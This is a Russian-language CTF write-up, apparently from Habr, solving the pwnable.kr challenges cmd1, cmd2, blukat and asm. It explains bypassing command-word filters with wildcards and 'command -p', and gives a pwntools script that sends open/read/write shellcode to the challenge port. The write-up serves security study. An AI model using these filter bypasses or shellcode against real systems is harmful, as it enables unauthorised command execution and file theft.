Как стать автором
Обновить

Решение задания с pwnable.kr cmd1, cmd2, asm, blukat. Обходим фильтрацию в Linux. Пишем shellcode с помощью pwntools

Время на прочтение3 мин
Количество просмотров3.4K
image

В данной статье посмотрим как обойти легкий фильтр, разберемся как написать shell c помощью pwntools, а также решим несколько заданий с сайта pwnable.kr.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Решение задания cmd1


Нажимаем на иконку с подписью cmd1, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Давай просмотрим исходный код.

image

Все очень просто: мы передаем программе команду и она исполняет её в командной строке, но сперва фильтрует слова flag, sh, tmр. Фильтрует flag, но не fla*.

image

Сдаем флаг и получаем еще одно очко.

Решение задания cmd2


Нажимаем на иконку с подписью cmd2, и нам говорят, что нужно подключиться по SSH с паролем задания cmd1.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Давай просмотрим исходный код.

image

Похоже на cmd1, но более сложный фильтр. Опять фильтрует flag, но не фильтрует fla*. Все осложнено фильтрацией слеша, но мы можем выполнить /bin/cat, как command -р cat.

image

Сдаем флаг и получаем очки.

Решение задания blukat


Нажимаем на иконку с подписью blukat, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Давай просмотрим исходный код.

image

Так, тут открывается файл с паролем, ксорится с ключем и выводит флаг. Вот только файл с паролем если прочитать файл с паролем, он выводит нам текст ошибки. На самом деле ошибка и есть пароль… Так как файл доступен для чтения группе, а мы состоим в данной группе.

image

image

Сдаем флаг и получаем три очка.

Решение задания asm


Нажимаем на иконку с подписью asm, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Нам оставили readme, прочитаем его.

image

Таким образом мы должны отправить шеллкод, который прочитает файл с флагом, на порт 9026.

image

Отлично. Испольуем рwntools, определяем параметры для подключения и архитектуру.

from pwn import *

r = remote('pwnable.kr', 9026)

context.arch = 'amd64'

r.interactive()

Для составления шелла будем испольовать модуль shellcraft. Как будет работать шеллкод:

  1. Помещаем в стек строку — имя файла.
  2. Открываем файл, с именем с вершины стека (регистр rsp).
  3. Так как функция open вернет дескриптор открытого файла в регистре rax — первый параметр для чтения, будем читать в стек 64 байта, потому вторым параметром будет регистр rsp.
  4. Теперь пишем в стандартный вывод (дескриптор 1) флаг, который лежит на вершине стека (регистр rsp).
  5. Собираем наш шелл и отправляем.

from pwn import *

r = remote('pwnable.kr', 9026)

context.arch = 'amd64'

payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp', 0, 0)
payload += shellcraft.read('rax', 'rsp', 64)
payload += shellcraft.write(1,'rsp', 64)

shell = asm(payload)

r.send(shell)

r.interactive()

image

Сдаем флаг и получаем 6 очков. До встречи в следующей статье, где рассмотрим сложную уязвимость Use After Free.

Мы в телеграм канале: канал в Telegram.
Теги:
Хабы:
Всего голосов 14: ↑14 и ↓0+14
Комментарии0

Публикации

Истории

Работа

Ближайшие события

15 – 16 ноября
IT-конференция Merge Skolkovo
Москва
22 – 24 ноября
Хакатон «AgroCode Hack Genetics'24»
Онлайн
28 ноября
Конференция «TechRec: ITHR CAMPUS»
МоскваОнлайн
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань